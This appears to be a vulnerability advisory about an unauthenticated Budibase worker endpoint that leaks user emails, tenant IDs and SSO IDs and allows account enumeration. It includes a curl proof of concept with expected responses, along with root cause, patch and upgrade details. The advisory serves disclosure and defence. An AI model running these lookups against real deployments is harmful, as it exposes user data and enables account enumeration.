Budibase Unauthenticated Tenant User Information Disclosure
Budibase's worker service exposes a public, unauthenticated endpoint that returns sensitive user data (email, tenant ID, SSO ID) for any known user identifier, letting anyone enumerate accounts with…

The problem
The Budibase Worker service registers GET /api/global/users/tenant/:id in its PUBLIC_ENDPOINTS list. This bypasses all authentication and tenancy middleware, including a // TODO: This should be an internal api comment in the source that acknowledged the oversight.
The handler accepts either an email address or a user ID as the :id parameter. It returns the full PlatformUser CouchDB document with no field filtering, exposing tenantId, userId, email, ssoId, and the raw CouchDB _rev token.
The different HTTP responses (200 for a hit, 400 for a miss) make account enumeration trivial.
Proof of concept
A working proof-of-concept for this issue in @budibase/server, with the exact payload below.
# Lookup by email (no auth required)
curl -s http://<budibase-worker>:4002/api/global/users/tenant/admin@example.com
# Expected 200 response:
# {
# "_id": "admin@example.com",
# "_rev": "1-abc123...",
# "tenantId": "tenant-uuid-here",
# "userId": "us_someuserid123"
# }
# Lookup by user ID
curl -s http://<budibase-worker>:4002/api/global/users/tenant/us_someuserid123
# Expected 200 response:
# {
# "_id": "us_someuserid123",
# "_rev": "1-abc123...",
# "tenantId": "tenant-uuid-here",
# "email": "admin@example.com",
# "ssoId": "google-oauth-id"
# }
# Non-existent user returns 400, confirming enumeration via status code difference
curl -s http://<budibase-worker>:4002/api/global/users/tenant/nobody@example.com
# {"message": "No tenant user found.", "status": 400}The root cause is an intentional (but unfinished) design decision: the route was added to PUBLIC_ENDPOINTS to support an unauthenticated login flow, with a TODO noting it should eventually be internal-only. Because auth.buildAuthMiddleware short-circuits to next() when a route matches PUBLIC_ENDPOINTS, every downstream check (buildTenancyMiddleware, activeTenant, budibaseAccess) also passes through without requiring a session.
The patch (commit e6bf245, PR #19221) removes the route from PUBLIC_ENDPOINTS, honoring the long-standing TODO. This makes authentication mandatory before the tenantUserLookup handler runs.
CWE-200: the system returns more information than the caller is authorized to receive, with no rate-limiting or field filtering as additional safeguards.
The fix
Upgrade to @budibase/server >= 3.39.32. The fix removes GET /api/global/users/tenant/:id from PUBLIC_ENDPOINTS in packages/worker/src/api/index.ts, making authentication required. Self-hosted users should update immediately; cloud is patched by Budibase.
Related research
- criticalBudibase REST Datasource Unauthenticated Credential Theft via Cross-Origin Query Path
- high · 8.8Budibase: App-Scoped Builder Privilege Escalation via Public Role Assignment API
- highBudibase Email Change IDOR Allows Full Account Takeover via POST /api/v2/email
- high · 7.1Budibase MongoDB Integration NoSQL Operator Injection